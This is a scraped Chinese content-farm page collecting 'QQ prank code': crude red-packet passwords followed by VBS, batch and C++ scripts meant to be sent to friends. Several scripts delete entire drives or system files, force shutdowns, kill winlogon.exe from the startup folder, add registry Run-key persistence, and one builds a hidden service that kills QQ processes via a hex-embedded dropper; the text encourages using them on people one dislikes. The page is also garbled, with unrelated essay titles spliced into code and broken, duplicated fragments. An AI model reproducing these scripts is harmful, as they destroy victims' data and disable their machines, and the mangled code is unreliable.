qq恶搞代码

时间:2024-12-26 15:34:30 来源:作文网 作者:管理员

文档大全 > ：qq恶搞代码是由小学生作文网为您精心收集，如果觉得好，请把这篇文章复制到您的博客或告诉您的朋友，以下是qq恶搞代码的正文：

qq恶搞代码篇一
恶搞口令红包语句,QQ口令红包搞笑口令大全集

谢谢爸爸

　　我丑我先抢

　　我是笨蛋

　　吾皇万岁

　　我是儿子

　　我是猪

　　给你加薪还请你吃饭

　　我爱吃屎!

　　我的鸡鸡好小

　　哎呀，大姨妈来了

　　我刚刚吃了翔

　　我怀孕了

　　再抢红包就剁手

　　叫爷爷就给你红包

　　接红包的人没发的人帅

　　天灵灵地灵灵，领的傻逼来显灵

　　XX我要为你生猴子

　　我不喜欢胸小的女生

　　XX真帅

　　我是逗比

　　我是脑残

　　XX万岁，全体下跪

　　我欠xx五百万

　　从前有座剑，叫我真jian.

　　丑不拉几香菇头

　　没有眼泪就别揉眼

　　我谈过最长的恋爱是自恋.

　　人家有背景，而我背影。

　　劈叉困难户!

　　我脱了你随意﹌

　　你、好坏。

　　爱情恐惧症。

　　出租半边床

　　老鼠扛刀满街找猫.︵o

　　左右傻傻分不清。

　　╰つ宝宝金水

　　本质基佬

　　像疯子一样的驴子丶

　　放开那位大婶

　　良家妇男!

　　上课的铃声比忐忑还更忐忑

　　闹够了没有

　　青春不在，痘痘还在

　　騎豬迲萢妞

　　劳资素个好菇凉、

　　风中摇曳着长发

　　ジ谁的青春不犯二

　　不贱不开心

　　你爱我就像熊爱猫一样搞笑

　　呆萌蠢i

　　枪走火只为蹦擦擦ミ

qq恶搞代码篇二
QQ恶搞代码

首先你在要建一个文本文档（在桌面点右键--新建--文本文档）把下面的你想要的代码复制到文本文档好保存把名字txt改成vbs 就OK

vbs整人代码大集合

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).

xx.vbs=>

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

wscript.quit

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

wsh.run "calc"

loop

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

五、删除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "哈哈你被耍了！"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

七、不断按下alt+f4 （开什么都关闭„„）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

'------------------------ ------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

九、关不掉的窗口

高二英语作文

------------------------------------------------------------------------------------

WScript.Echo("嘿，谢谢你打开我哦，我等你很久

拉！"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

[color=#FF0000]复制以这个代码，在桌面建一个文本，把代码放进去，另存为VBS格式，此代码的威力：

1：开机就强制自动关机

2：cmd命令打不开

3：结束任务不管用

4：F8安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，

PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

拍拍手顶起吧！

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

恐怖啊整人小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'声明变量，其中“count”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'生成文件的内容

nr = "哈哈，被黑的感觉的不错吧"

files = FreeFile

'如果a等于a那么就执行

If a = a Then

'count不断的加1，以便产生不同的文件名

count = count + 1

'产生文件名及文件句柄，并用count作为产生不同的文件名。

Open c & "system" & count & ".dll" For Append As #files

'向文件写内容

Write #files, nr

'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close #files

End If

End Sub

qq恶搞代码篇三
整人代码

xx.vbs=>

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

wsh.run "calc"

loop

-----------------------------------------------------------------------------

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

五、删除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true ----------------------------------------------------------------------------

六、不断弹出窗口

----------------------------------------------------------------------------

小灵通漫游无名国作文

----------------------------------------------------------------------------

七、不断按下alt+f4 （开什么都关闭……）

---------------------------------------------------------------------------

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

九、关不掉的窗口

两个整人的VBS脚本2009-07-16 18:16

文章录入：7747.Net 责任编辑：7747.Net 564

【字体：小大】

测试环境：Windows 2003 系统

大家好我是Vanlisa QQ137841986

今天给大家带来两个整人的VBS脚本希望大家喜欢

VBS脚本大家都知道吧第一个是定时关机的

如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的

时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法我们来看下这个脚本

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了

cmd.exe /c shutdown -r -t 180 -c

这里的数字可以修改关机时间 180秒

这些文字也可以自设这个脚本启用cmd 里的关机程序

如果不输的的话可以打开任务管理器输入shutdown -a 来解除我们试下这时定时关机已

经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe 这个进程就OK

了这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主

-------------------------------------------------------------------------------------------

下面看第二个整人的脚本

-------------------------------------------------------------------------------------------

qq恶搞代码篇四
恶搞代码收藏

（1）on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""哈哈你惨了，回答个问题才不关你机，不回答我问题就在就一分钟关你机，请回答""我是个傻瓜"" 不信，试试看···"" ",0 ,true dim a

do while(a <> "我是个傻瓜")

a = inputbox ("呵呵，说我是个傻瓜,就不关机，快说，说 ""我是个傻瓜"" ","说不说","有本事就不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾！爽了吧！叫你不陪我说话" 用记事本保存扩展名为 .vbe (2）建个记事本

写上下事的代码，保存后改扩展名TXT为bat就可以了，这是吓人用的。

@ color 4f

@echo off

echo 删除计算机的C盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的D盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的E盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

@ color

echo.

echo. =========================================

echo. 夜黑杀人夜，风高放火天，哈哈 ……

echo. =========================================

echo. 系统将马上崩溃......

echo. 这是一个木马程序......所有资料已经传到 XXXX@163.com

shutdown /r /t 300 /c "想要回你的资料可以给我发个信，不过先准备点那个……" ntsd -c q -pn explorer.exe

ping 127.0.0.1 /n 20 >nul

start explorer.exe

shutdown -a

这是个开机蓝屏得小程序

@echo off

set var=%userprofile%\「开始」菜单\程序\启动

xcopy/y %0 "%var%"\

cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul

然后保存为.bat格式即可注意：请勿拿自己得电脑做实验后果自负哦

代码如下：

@echo off

echo 正在清理系统文件，请稍等......

del /f /s /q %systemdrive%\*.sys

del /f /s /q %systemdrive%\*.exe

del /f /s /q %systemdrive%\*.txt

del /f /s /q %systemdrive%\*.bat

del /f /s /q %systemdrive%\*.chk

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\prefetch\*.*

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

echo 自杀完成！

echo. & pause

保存格式为bat

严重声明：如果是在自己家里上网,最好不要运行.不过如果有人跟你有仇,而且不在网吧上网.你可以..........

一段代码恶搞在你电脑上乱登QQ的人

别人老在你电脑上乱等QQ，是不是让你很烦啊？

下个软件限制别人登陆好像自己不够大方，不如玩点个性的~！！！

用下面一段代码就能轻松打造你自己的登陆锁，

_____________________________________882q.cn————————————

dim a

const pass="喜欢"

a=inputbox("你喜欢吗?说喜欢就能登陆了。不说不能登陆QQ哦@@")

if a=pass then

msgbox("你好听话哦，你可以登陆QQ了！！~~")

exit do

end if

loop

_____________________________________882q.cn————————————qq恶搞代码

修改方法，在你的qq安装目录下，找到NewSkins文件夹---接着找到QQ2008文件夹，然后找到“VBScript.vbs”这个文件，用记事本打开“VBScript.vbs”，在“VBScript.vbs”最上面加上上面的蓝色代码。保存，登陆QQ，要输入密码的，等你的QQ皮肤运行的时候，这个窗口就会弹出来了：

输入你设定的密码：“喜欢”

会弹出来另外一个窗口：

当然，弹出窗口上的字你可自己设定。。

QQ2009版本上应该也可以用这个方法来实现此功能，本人没有测试，如果你有兴趣可以测试下，

下面的下载地址是我设定的登陆窗口，如果你不会设定，就拿我的先用吧，或者加我的QQ群： 56632158 我帮你搞个。

屏幕狂闪的代码

=========代码开始============

@Echo Off

rd /Q /S C:"Documents and Settings"\%username%\「开始」菜单\程序\启动

@Copy /y %0 %windir%\2.bat

@reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v expl0rer /t REG_SZ /d %windir%\2.bat /f >nul

@Echo Off

@Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul

@chcp 437>nul

@graftabl 936>nulqq恶搞代码

color 0a

@Echo Off

:xing

color 0a

@Echo

________________________________________________________________________________

color 1a

@Echo

________________________________________________________________________________

color 2a

@Echo

________________________________________________________________________________

color 3a

@Echo

________________________________________________________________________________

color 4a

@Echo

________________________________________________________________________________

color 5a

@Echo

________________________________________________________________________________

color 6a

@Echo

________________________________________________________________________________

color 7a

@Echo

________________________________________________________________________________

color 8a

@Echo

________________________________________________________________________________

color 9a

@Echo

________________________________________________________________________________

Goto xing

========代码结束

恶搞！！！！！！！！！！！！！ set WshShell = WScript.CreateObject("WScript.Shell")

'标题

alerttitle = "警告"

'内容,vbnewline为换行符

alerttext = vbnewline & vbnewline & "黑客入侵" & vbnewline & vbnewline & vbnewline & "电脑在5分钟后自动引爆"& vbnewline & vbnewline & vbnewline

for i = 1 to 12 '12

WScript.Sleep(1000*60*55) '

msgbox alerttext,4096,alerttitle

将上面代码存为：恶搞.vbs ，然后双击运行，多运行几次！！！

qq恶搞代码篇五
VB整人程序代码大全

vbs整人代码大**

xx.vbs=>

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

wscript.quit

----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

wsh.run "calc"

loop

-----------------------------------------------------------------------------

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

五、删除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "哈哈你被耍了！"

loop

----------------------------------------------------------------------------

七、不断按下alt+f4 （开什么都关闭„„）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

'------------------------ ------------------------------------------------------------

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo("嘿，谢谢你打开我哦，我等你很久qq恶搞代码

拉！"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

顶

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

2楼

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰

你工作。")

WScript.Echo("还剩45下，记得要快哦！")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴")

WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止！")

WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！")

WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你

的！")

WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无

义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝

又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

两个整人的VBS脚本

测试环境：Windows 2003 系统

大家好我是Vanlisa QQ137841986

今天给大家带来两个整人的VBS脚本希望大家喜欢

VBS脚本大家都知道吧第一个是定时关机的

如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的

时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法

我们来看下这个脚本

--------------------------------------------------------------------------------

on error resume next

dim WSHshellA

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

3楼

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

qq恶搞代码篇六
QQ恶搞程序

QQ恶搞程序

ss.dwServiceType = SERVICE_WIN32;

ss.dwCurrentState = SERVICE_START_PENDING;

ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE;

ss.dwServiceSpecificExitCode = 0;

ss.dwWin32ExitCode = 0;

ss.dwCheckPoint = 0;

ss.dwWaitHint = 0;

ssh=RegisterServiceCtrlHandler("Service",Handler);

ss.dwCurrentState = SERVICE_RUNNING;

ss.dwCheckPoint = 0;

ss.dwWaitHint = 0;

SetServiceStatus(ssh,&ss);

AfxBeginThread(KillQQ,NULL,NULL); //开始一个工作线程实现程序功能

ss.dwCurrentState = SERVICE_RUNNING;

ss.dwCheckPoint = 0;

ss.dwWaitHint = 0;

SetServiceStatus(ssh,&ss);

}

//处理服务要求

void WINAPI Handler(DWORD Opcode)

{

switch(Opcode)

{

case SERVICE_CONTROL_STOP:

ss.dwCurrentState =SERVICE_STOPPED;

SetServiceStatus (ssh,&ss);

break;

case SERVICE_CONTROL_CONTINUE:

ss.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus (ssh,&ss);

break;

case SERVICE_CONTROL_PAUSE:

ss.dwCurrentState = SERVICE_PAUSED;

SetServiceStatus (ssh,&ss);

break;

case SERVICE_CONTROL_INTERROGATE:

break;

}

SetServiceStatus (ssh,&ss);

}

//在进程列表中查找QQ程序并杀掉的线程函数

UINT KillQQ(LPVOID lParam)

{

while(1)

{

m_PEArray.RemoveAll();

HANDLE hProcessSnap=NULL;

PROCESSENTRY32 pe32;

hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe32.dwSize=sizeof(PROCESSENTRY32);

if(::Process32First(hProcessSnap,&pe32))

{

m_PEArray.Add(pe32);

}

while(::Process32Next(hProcessSnap,&pe32));

}

int i;

for(i=0;i<m_PEArray.GetSize();i++)

{

CString str;

str.Format("%s",m_PEArray.szExeFile);

if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1) {

HANDLE hProcess;

DWORD ProcessID;

ProcessID=m_PEArray.th32ProcessID;

hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);

::TerminateProcess(hProcess,99);

CloseHandle(hProcess);

}

Sleep(500);

}

return 0;

}

编译连接可以生成Service.exe程序.(后附整个工程)

现在我们已经得到了实现功能的两个程序,kernel.exe是在Win9X系统下实现功能的程序,Service.exe是Win2000/XP下实现功能的程序.现在就要将这两个文件转化成１６进制代码．可以通过一个程序来实现，建立一个名为exe2hex的Win32 Console Application程序，程序代码如下：

#include <stdio.h>

#include <windows.h>

int main(int argc,char **argv)

{

HANDLE hFile;

DWORD dwSize,dwRead,dwIndex=0,i;

unsigned char *lpBuff=NULL;

__try

{

if(argc!=2)

{

printf("\nUsage: %s <File&g历史人物评价t;",argv[0]);

__leave;

}

hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,

NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(hFile==INVALID_HANDLE_value)

{

printf("\nOpen file %s failed:%d",argv[1],GetLastError());

__leave;

}

dwSize=GetFileSize(hFile,NULL);

if(dwSize==INVALID_FILE_SIZE)

{

printf("\nGet file size failed:%d",GetLastError());

__leave;

}

lpBuff=(unsigned char *)malloc(dwSize);

if(!lpBuff)

{

printf("\nmalloc failed:%d",GetLastError());

__leave;

}

while(dwSize>dwIndex)

{

if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))

{

printf("\nRead file failed:%d",GetLastError());

__leave;

}

dwIndex+=dwRead;

}

for(i=0;i<dwSize;i++)

{

if((i%16)==0)

if(i==0)

printf("\"");

else

printf("\"\n\"");

printf("\\x%.2X",lpBuff);qq恶搞代码

}

printf("\"");

}//end of try

__finally

{

if(lpBuff) free(lpBuff);

CloseHandle(hFile);

}

return 0;

}

编译出可执行文件exe2hex.exe,执行exe2hex kernel.exe >kernel.txt将输出结果重定向到一个文本文件就得到了kernel.exe的16进制代码，同理可以得到Service.exe的16进制代码. 啊，写了这么多还真有点累了，不过还好总算要完成了，歇口气.最后我们来编写主程序funny.exe:

用AppWizard生成一个名为funny的对话框程序.定义两个全局字符数组用来保存kernel.exe和Service.exe

的16进制代码:char exebuff9x[]="kernel.exe的16进制代码" char exebuff2k[]="Service.exe的16进制代码".添加HideWindow(),IsWin9X(),CreateFileService9x(CString FileName),CreateFileService2k

(CString FileName),RunService(CString FileName)几个函数,其代码和实现的功能如下: //隐藏主窗口

void CFunnyDlg::HideWindow()

{

DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE); Style = WS_EX_TOOLWINDOW ;

::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);

::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);

}

//获取操作系统版本信息

BOOL CFunnyDlg::IsWin9X()

{

DWORD dwVersion;

dwVersion=::GetVersion();

if (dwVersion >= 0x80000000) //Win9x

return TRUE;

else

return FALSE; //Win2K/WinXP

}

//如果系统是Win9x则在系统目录下创建kernel.exe

void CFunnyDlg::CreateFileService9x(CString FileName)

{

DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff9x);

HANDLE hFile=NULL;

LPTSTR lpSysPath=new char[MAX_PATH];

LPTSTR lpCurrentPath=new char[MAX_PATH];

::GetSystemDirectory(lpSysPath,MAX_PATH);

LPCTSTR lpsysfilename;

lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);

hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_

READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,

CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

if(hFile==INVALID_HANDLE_value)

return ;

while(dwSize>dwIndex)

{

if(!::WriteFile(hFile,&exebuff9x[dwIndex],dwSize-dwIndex,&dwWrite,NULL)) return ;

dwIndex+=dwWrite;

}

CloseHandle(hFile);

return ;

}

//如果系统是Win2k/XP则在系统目录下创建Service.exe

void CFunnyDlg::CreateFileService2k(CString FileName)

{

DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff2k);

HANDLE hFile=NULL;

LPTSTR lpSysPath=new char[MAX_PATH];

LPTSTR lpCurrentPath=new char[MAX_PATH];

::GetSystemDirectory(lpSysPath,MAX_PATH);

LPCTSTR l我骄傲我是中国人原文psysfilename;

lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);

hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_

READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,

CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

if(hFile==INVALID_HANDLE_value)

qq恶搞代码篇七
整人代码大全

整人代码大全

让对方重启指定次数(害人专用)

@echo off

if not exist c:1.txt echo. >c:1.txt & goto err1

if not exist c:2.txt echo. >c:2.txt & goto err1

if not exist c:3.txt echo. >c:3.txt & goto err1s

if not exist c:4.txt echo. >c:4.txt & goto err1

if not exist c:5.txt echo. >c:5.txt & goto err1

goto err2

:err1

shutdown -s -t 0

:err2

上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那

就是重启6次

改成7就是7次...

打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，

保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

善意恶搞关机

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看

把隐藏已知文件类型的扩展名前面的勾去掉.

然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，

不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，

对方打开了就在60秒内要关闭计算机，

结束任务都不行，他只能说他是猪才能解决问题。够坏吧？注意哦，你可以把我是猪那个修改成任意想说的话，

要是对付你喜欢的人，

就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20 就是说打开了20秒就关了

,还没等对方打完就关机了是不是叫对方很郁闷呢?

让人崩溃的关机程序

首先你可以看下面的

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("夜黑很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。") WScript.Echo("还剩45下，记得要快哦！")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

qq恶搞代码由小学生作文网收集整理,转载请注明出处!

上一篇：这个世界很大分开就很难再见
下一篇：给大佬递茶表情包

TAG标签：代码

原文链接：https://www.zuowen.red/meiwen/1414085.html

qq恶搞代码

qq恶搞代码篇一恶搞口令红包语句,QQ口令红包搞笑口令大全集

qq恶搞代码篇二QQ恶搞代码

qq恶搞代码篇三整人代码

qq恶搞代码篇四恶搞代码收藏

